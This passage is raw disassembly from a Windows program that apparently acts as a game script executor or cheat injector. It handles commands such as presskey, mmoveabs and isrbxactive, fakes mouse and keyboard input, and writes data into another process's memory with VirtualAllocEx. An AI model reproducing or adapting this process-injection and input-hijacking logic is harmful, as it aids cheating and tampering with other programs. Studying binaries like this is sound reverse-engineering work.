mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xa64]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xbc8]
mov rcx, rax
call fcn.140013f40
movsx eax, word [rsp + 0x110]
mov dword [rsp + 0xa60], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xa60]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.debug_getproto
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400271dd
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x428], eax
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0xbd0], rax
movsx rax, word [0x14047d088]
mov rcx, qword [rsp + 0xbd0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x868], eax
movsx rax, word [0x14047d07c]
mov rcx, qword [rsp + 0xbd0]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [reloc.WS2_32.dll_connect]
call fcn.140012fb0
mov qword [rsp + 0x1398], rax
mov eax, dword [rsp + 0x868]
cmp dword [rsp + 0x428], eax
jle 0x140027054
mov dword [rsp + 0x850], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x850]
mov rcx, rax
call fcn.140013ee0
movsx eax, word [0x14047d044]
mov dword [rsp + 0x84c], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x84c]
mov rcx, rax
call fcn.140013ee0
mov dword [rsp + 0x848], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x848]
mov rcx, rax
call fcn.140013ee0
movsx eax, word [0x14047d044]
mov dword [rsp + 0x844], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x844]
mov rcx, rax
call fcn.140013ee0
jmp 0x1400271d8
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x4b8]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0x13a0], rax
mov eax, dword [rsp + 0x428]
dec eax
cdqe
mov rcx, qword [rsp + 0x1398]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x13a8], rax
movsx rax, word [0x14047d07c]
mov rcx, qword [rsp + 0x13a0]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [reloc.WS2_32.dll_connect]
call fcn.140012fb0
mov qword [rsp + 0x13b0], rax
lea rdx, [rsp + 0x13a8]
mov rcx, qword [rsp + 0x13b0]
call fcn.140013f40
mov dword [rsp + 0x840], 1
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x840]
mov rcx, rax
call fcn.140013ee0
movsx eax, word [0x14047d044]
mov dword [rsp + 0x8e8], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x8e8]
mov rcx, rax
call fcn.140013ee0
mov dword [rsp + 0x8e4], 1
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x8e4]
mov rcx, rax
call fcn.140013ee0
movsx eax, word [0x14047d044]
mov dword [rsp + 0x8e0], eax
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x8e0]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.debug_setproto
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002731d
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x42c], eax
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0xbd8], rax
movsx rax, word [0x14047d088]
mov rcx, qword [rsp + 0xbd8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013cb0
mov dword [rsp + 0x8dc], eax
movsx rax, word [0x14047d07c]
mov rcx, qword [rsp + 0xbd8]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [reloc.WS2_32.dll_connect]
call fcn.140012fb0
mov qword [rsp + 0x13b8], rax
mov eax, dword [rsp + 0x8dc]
cmp dword [rsp + 0x42c], eax
jle 0x14002729d
jmp 0x140027318
movsx rax, word [reloc.WS2_32.dll_closesocket]
mov rcx, qword [rsp + 0x4b8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013c10
movzx eax, al
test eax, eax
jne 0x140027318
movsx rax, word [0x14047d010]
mov rcx, qword [rsp + 0x4b8]
add rcx, rax
mov rax, rcx
mov rdx, rax
movzx ecx, byte [0x140497ea8]
call fcn.140012fb0
mov qword [rsp + 0x13c0], rax
mov eax, dword [rsp + 0x42c]
dec eax
cdqe
mov rcx, qword [rsp + 0x13b8]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x13c0]
mov rcx, rax
call fcn.140013f40
jmp 0x140027987
lea rdx, [0x140365c64]
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140027369
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x140027364
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 6
call qword [sym.imp.USER32.dll_mouse_event]
jmp 0x140027987
lea rdx, [0x140365c8c]
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400273b5
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x1400273b0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 2
call qword [sym.imp.USER32.dll_mouse_event]
jmp 0x140027987
lea rdx, [0x140366654]
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140027401
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x1400273fc
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 4
call qword [sym.imp.USER32.dll_mouse_event]
jmp 0x140027987
lea rdx, [0x140366664]
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002744d
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x140027448
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x18
call qword [sym.imp.USER32.dll_mouse_event]
jmp 0x140027987
lea rdx, [0x14036669c]
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140027499
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x140027494
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 8
call qword [sym.imp.USER32.dll_mouse_event]
jmp 0x140027987
lea rdx, [0x140366754]
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400274e5
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x1400274e0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_mouse_event]
jmp 0x140027987
lea rdx, str.presskey
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002753c
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x140027537
cvttsd2si eax, qword [rsp + 0x3c8]
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
xor r9d, r9d
mov r8d, 8
movzx edx, al
xor ecx, ecx
call qword [sym.imp.USER32.dll_keybd_event]
jmp 0x140027987
lea rdx, str.releasekey
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140027593
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x14002758e
cvttsd2si eax, qword [rsp + 0x3c8]
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
xor r9d, r9d
mov r8d, 0xa
movzx edx, al
xor ecx, ecx
call qword [sym.imp.USER32.dll_keybd_event]
jmp 0x140027987
lea rdx, str.mmoveabs
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140027699
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x140027694
cvttsd2si eax, qword [rsp + 0x3c8]
mov dword [rsp + 0x328], eax
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x318], eax
lea rdx, [rsp + 0x4f8]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rsp + 0x328]
mov ecx, dword [rsp + 0x4f8]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x4f8]
jle 0x140027694
mov eax, dword [rsp + 0x328]
mov ecx, dword [rsp + 0x4f8]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x500]
jge 0x140027694
mov eax, dword [rsp + 0x318]
mov ecx, dword [rsp + 0x4fc]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x4fc]
jle 0x140027694
mov eax, dword [rsp + 0x318]
mov ecx, dword [rsp + 0x4fc]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x504]
jge 0x140027694
mov eax, dword [rsp + 0x318]
mov ecx, dword [rsp + 0x4fc]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x328]
mov edx, dword [rsp + 0x4f8]
add edx, ecx
mov ecx, edx
mov edx, eax
call qword [sym.imp.USER32.dll_SetCursorPos]
jmp 0x140027987
lea rdx, str.mmoverel
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x1400277ad
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x1400277a8
cvttsd2si eax, qword [rsp + 0x3c8]
mov dword [rsp + 0x330], eax
cvttsd2si eax, qword [rsp + 0x1c8]
mov dword [rsp + 0x32c], eax
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rdx, [rsp + 0xf88]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rsp + 0x330]
mov ecx, dword [rsp + 0x3a0]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0xf88]
jle 0x1400277a8
mov eax, dword [rsp + 0x330]
mov ecx, dword [rsp + 0x3a0]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0xf90]
jge 0x1400277a8
mov eax, dword [rsp + 0x32c]
mov ecx, dword [rsp + 0x3a4]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0xf8c]
jle 0x1400277a8
mov eax, dword [rsp + 0x32c]
mov ecx, dword [rsp + 0x3a4]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0xf94]
jge 0x1400277a8
mov eax, dword [rsp + 0x32c]
mov ecx, dword [rsp + 0x3a4]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x330]
mov edx, dword [rsp + 0x3a0]
add edx, ecx
mov ecx, edx
mov edx, eax
call qword [sym.imp.USER32.dll_SetCursorPos]
jmp 0x140027987
lea rdx, str.mscroll
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002780e
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x140027809
cvttsd2si eax, qword [rsp + 0x3c8]
mov dword [rsp + 0x8d8], eax
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x8d8]
xor r8d, r8d
xor edx, edx
mov ecx, 0x800
call qword [sym.imp.USER32.dll_mouse_event]
jmp 0x140027987
lea rdx, str.isrbxactive
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002792d
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsp + 0xc0]
jne 0x14002784a
mov dword [rsp + 0x430], 1
jmp 0x140027855
mov dword [rsp + 0x430], 0
mov eax, dword [rsp + 0x430]
mov dword [rsp + 0x434], eax
movsx eax, word [0x14047d044]
mov dword [rsp + 0x438], eax
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x434]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x438]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x434]
mov rcx, rax
call fcn.140013ee0
movsx rax, word [0x14047d02c]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x438]
mov rcx, rax
call fcn.140013ee0
jmp 0x140027987
lea rdx, str.disconnect
lea rcx, [rsp + 0x190]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140027987
lea rcx, str.DISCONNECTING_n
call fcn.14000cc30
mov byte [rsp + 0x6e], 1
lea rcx, [rsp + 0x190]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1cc0]
call fcn.140017680
nop
lea rcx, [rsp + 0xab8]
call fcn.1400177c0
jmp 0x140030549
mov dword [rsp + 0x8d4], 0
movsx rax, word [0x1404979d0]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x30]
lea rdx, [rsp + 0x8d4]
mov rcx, rax
call fcn.140013ee0
nop
lea rcx, [rsp + 0x190]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1cc0]
call fcn.140017680
movsxd rax, dword [0x14047d008]
mov rcx, qword [rsp + 0x1f8]
lea rax, [rcx + rax + 0x10]
mov rcx, rax
call fcn.140013da0
test rax, rax
jbe 0x14002ff62
movsxd rax, dword [0x14047d008]
mov rcx, qword [rsp + 0x1f8]
add rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x3e0]
call fcn.1402c6d80
nop
lea rcx, [rsp + 0x3e0]
call fcn.140020310
movzx eax, al
test eax, eax
jne 0x140027c54
mov qword [rsp + 0x528], 0
jmp 0x140027a5f
mov rax, qword [rsp + 0x528]
inc rax
mov qword [rsp + 0x528], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x528], rax
jae 0x140027c54
lea rcx, [rsp + 0x2a5]
call fcn.140006160
mov qword [rsp + 0x13c8], rax
mov byte [rsp + 0x248], 0
mov byte [rsp + 0x249], 0
mov byte [rsp + 0x24a], 0
mov byte [rsp + 0x24b], 0
mov byte [rsp + 0x24c], 0
mov byte [rsp + 0x24d], 0
mov byte [rsp + 0x24e], 0
mov byte [rsp + 0x24f], 0
mov byte [rsp + 0x250], 0
mov byte [rsp + 0x251], 0
mov byte [rsp + 0x252], 0
mov byte [rsp + 0x253], 0
mov byte [rsp + 0x254], 0
mov byte [rsp + 0x255], 0
mov byte [rsp + 0x256], 0
mov byte [rsp + 0x257], 0
mov byte [rsp + 0x258], 0
mov byte [rsp + 0x259], 0
mov byte [rsp + 0x25a], 0
mov byte [rsp + 0x25b], 0
mov byte [rsp + 0x25c], 0
mov byte [rsp + 0x25d], 0
mov byte [rsp + 0x25e], 0
mov byte [rsp + 0x25f], 0
mov byte [rsp + 0x260], recv
mov byte [rsp + 0x261], 0
mov byte [rsp + 0x262], 0
mov byte [rsp + 0x263], 0
mov byte [rsp + 0x264], 0
mov byte [rsp + 0x265], 0
mov byte [rsp + 0x266], 0
mov byte [rsp + 0x267], 0
lea rax, [rsp + 0x268]
mov r8, rax
lea rdx, [rsp + 0x248]
lea rcx, [rsp + 0x34a8]
call fcn.140015510
lea rcx, [rsp + 0x2430]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x2440]
lea rcx, [rsp + 0x2430]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x13c8]
lea rdx, [rsp + 0x2440]
lea rcx, [rsp + 0x2618]
call fcn.1400158e0
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x13d0], rax
mov rdx, qword [rsp + 0x528]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x13d0]
add rcx, qword [rax]
mov rax, rcx
lea rdx, [rsp + 0x2618]
mov rcx, rax
call fcn.140013e50
nop
lea rcx, [rsp + 0x2618]
call fcn.140017680
jmp 0x140027a4c
lea rdx, [0x1403667ac]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140028511
lea rcx, [rsp + 0x1cd8]
call fcn.140015970
nop
mov qword [rsp + 0x340], 0
jmp 0x140027ca2
mov rax, qword [rsp + 0x340]
inc rax
mov qword [rsp + 0x340], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x340], rax
jae 0x140027f1e
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x13d8], rax
mov rdx, qword [rsp + 0x340]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x13d8]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x920], rax
cmp qword [rsp + 0x920], 0
jne 0x140027d0b
jmp 0x140027f1e
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x13e0], rax
mov rdx, qword [rsp + 0x340]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x13e0]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
jbe 0x140027e3a
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x13e8], rax
mov rdx, qword [rsp + 0x340]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x13e8]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0x920]
mov rdx, rax
lea rcx, [rsp + 0x2630]
call fcn.140013b50
nop
lea rax, [rsp + 0x2630]
mov qword [rsp + 0xbe0], rax
mov rcx, qword [rsp + 0xbe0]
call fcn.1400085d0
mov qword [rsp + 0x530], rax
mov rcx, qword [rsp + 0xbe0]
call fcn.14000ab80
mov qword [rsp + 0x13f0], rax
jmp 0x140027ded
mov rax, qword [rsp + 0x530]
inc rax
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x13f0]
cmp qword [rsp + 0x530], rax
je 0x140027e28
mov rax, qword [rsp + 0x530]
movzx eax, byte [rax]
mov byte [rsp + 0xfb], al
lea rdx, [rsp + 0xfb]
lea rcx, [rsp + 0x1cd8]
call fcn.140034160
jmp 0x140027dda
lea rcx, [rsp + 0x2630]
call fcn.140017680
jmp 0x140027f19
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x13f8], rax
mov rdx, qword [rsp + 0x340]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x13f8]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x920]
mov rdx, rax
lea rcx, [rsp + 0x2648]
call fcn.140013b50
nop
lea rax, [rsp + 0x2648]
mov qword [rsp + 0xbe8], rax
mov rcx, qword [rsp + 0xbe8]
call fcn.1400085d0
mov qword [rsp + 0x538], rax
mov rcx, qword [rsp + 0xbe8]
call fcn.14000ab80
mov qword [rsp + 0x1400], rax
jmp 0x140027ed1
mov rax, qword [rsp + 0x538]
inc rax
mov qword [rsp + 0x538], rax
mov rax, qword [rsp + 0x1400]
cmp qword [rsp + 0x538], rax
je 0x140027f0c
mov rax, qword [rsp + 0x538]
movzx eax, byte [rax]
mov byte [rsp + 0xfc], al
lea rdx, [rsp + 0xfc]
lea rcx, [rsp + 0x1cd8]
call fcn.140034160
jmp 0x140027ebe
lea rcx, [rsp + 0x2648]
call fcn.140017680
jmp 0x140027c8f
lea rcx, [rsp + 0x1cd8]
call fcn.1400358d0
mov qword [rsp + 0x1408], rax
xor edx, edx
lea rcx, [rsp + 0x1cd8]
call fcn.140018400
mov qword [rsp + 0x1410], rax
mov r8, qword [rsp + 0x1408]
mov rdx, qword [rsp + 0x1410]
lea rcx, [rsp + 0xa98]
call fcn.1400151a0
nop
mov byte [rsp + 0x114], 0
mov byte [rsp + 0x115], 0
mov dword [rsp + 0x21f8], 0
mov dword [rsp + 0x21fc], 0
mov dword [rsp + 0x2200], 0
mov dword [rsp + 0x2204], 0
mov qword [rsp + 0x2208], 0
mov qword [rsp + 0x2210], 0
mov qword [rsp + 0x2218], 0
mov qword [rsp + 0x2220], 0
mov qword [rsp + 0x2228], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x114]
lea r8, [rsp + 0x21f8]
lea rdx, [rsp + 0xa98]
lea rcx, [rsp + 0x3048]
call fcn.140169b00
mov qword [rsp + 0x1418], rax
mov rdx, qword [rsp + 0x1418]
lea rcx, [rsp + 0xa98]
call fcn.140009f60
lea rcx, [rsp + 0x3048]
call fcn.1400067e0
xor edx, edx
lea rcx, [rsp + 0xa98]
call fcn.140006890
movsx eax, byte [rax]
test eax, eax
jle 0x140028069
xor edx, edx
lea rcx, [rsp + 0xa98]
call fcn.140006890
movsx eax, byte [rax]
cmp eax, 0xa
jl 0x1400282ba
mov r8d, 1
xor edx, edx
lea rcx, [rsp + 0xa98]
call fcn.14000b0e0
lea rcx, [rsp + 0xa98]
call fcn.1400074e0
mov qword [rsp + 0x1420], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1428], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x1420]
xor edx, edx
mov rcx, qword [rsp + 0x1428]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xbf0], rax
lea rcx, [rsp + 0xa98]
call fcn.1400074e0
mov qword [rsp + 0x1430], rax
lea rcx, [rsp + 0xa98]
call fcn.14000ae90
mov qword [rsp + 0x1438], rax
mov r8, qword [rsp + 0x1430]
mov rdx, qword [rsp + 0x1438]
mov rcx, qword [rsp + 0xbf0]
call fcn.140033090
mov rax, qword [rsp + 0xbf0]
mov qword [rsp + 0x938], rax
mov qword [rsp + 0x2900], 0
lea rcx, [rsp + 0xa98]
call fcn.1400074e0
mov qword [rsp + 0x390], rax
mov qword [rsp + 0x540], 0
jmp 0x14002817f
mov rax, qword [rsp + 0x540]
inc rax
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x390]
sub rax, 0x30000
mov qword [rsp + 0x390], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x540], rax
jae 0x1400282b5
cmp qword [rsp + 0x390], 0
jbe 0x1400282b5
cmp qword [rsp + 0x390], 0x7fffffff
jae 0x1400282b5
cmp qword [rsp + 0x390], 0x30000
jbe 0x1400281d7
mov qword [rsp + 0xbf8], 0x30000
jmp 0x1400281e7
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0xbf8], rax
mov rax, qword [rsp + 0xbf8]
mov qword [rsp + 0x930], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1440], rax
mov rdx, qword [rsp + 0x540]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x1440]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x928], rax
lea rdx, [rsp + 0x938]
mov rcx, qword [rsp + 0x928]
call fcn.140013f40
mov rax, qword [rsp + 0x928]
add rax, 0x10
lea rdx, [rsp + 0x930]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x930]
or rax, 0x1f
mov qword [rsp + 0x1448], rax
mov rax, qword [rsp + 0x928]
add rax, 0x18
lea rdx, [rsp + 0x1448]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x930]
mov rcx, qword [rsp + 0x938]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x938], rax
jmp 0x140028156
jmp 0x1400284f1
lea rcx, [rsp + 0xa98]
call fcn.1400074e0
mov qword [rsp + 0x1450], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1458], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x1450]
xor edx, edx
mov rcx, qword [rsp + 0x1458]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xc00], rax
lea rcx, [rsp + 0xa98]
call fcn.1400074e0
mov qword [rsp + 0x1460], rax
lea rcx, [rsp + 0xa98]
call fcn.14000ae90
mov qword [rsp + 0x1468], rax
mov r8, qword [rsp + 0x1460]
mov rdx, qword [rsp + 0x1468]
mov rcx, qword [rsp + 0xc00]
call fcn.140033090
mov rax, qword [rsp + 0xc00]
mov qword [rsp + 0x950], rax
mov qword [rsp + 0x2908], 0
lea rcx, [rsp + 0xa98]
call fcn.1400074e0
mov qword [rsp + 0x388], rax
mov qword [rsp + 0x548], 0
jmp 0x1400283bb
mov rax, qword [rsp + 0x548]
inc rax
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x388]
sub rax, 0x30000
mov qword [rsp + 0x388], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x548], rax
jae 0x1400284f1
cmp qword [rsp + 0x388], 0
jbe 0x1400284f1
cmp qword [rsp + 0x388], 0x7fffffff
jae 0x1400284f1
cmp qword [rsp + 0x388], 0x30000
jbe 0x140028413
mov qword [rsp + 0xc08], 0x30000
jmp 0x140028423
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0xc08], rax
mov rax, qword [rsp + 0xc08]
mov qword [rsp + 0x948], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1470], rax
mov rdx, qword [rsp + 0x548]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x1470]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x940], rax
lea rdx, [rsp + 0x950]
mov rcx, qword [rsp + 0x940]
call fcn.140013f40
mov rax, qword [rsp + 0x940]
add rax, 0x10
lea rdx, [rsp + 0x948]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x948]
or rax, 0x1f
mov qword [rsp + 0x1478], rax
mov rax, qword [rsp + 0x940]
add rax, 0x18
lea rdx, [rsp + 0x1478]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x948]
mov rcx, qword [rsp + 0x950]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x950], rax
jmp 0x140028392
lea rcx, [rsp + 0xa98]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1cd8]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, [0x1403667bc]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x140028a6c
movsxd rax, dword [0x14047d008]
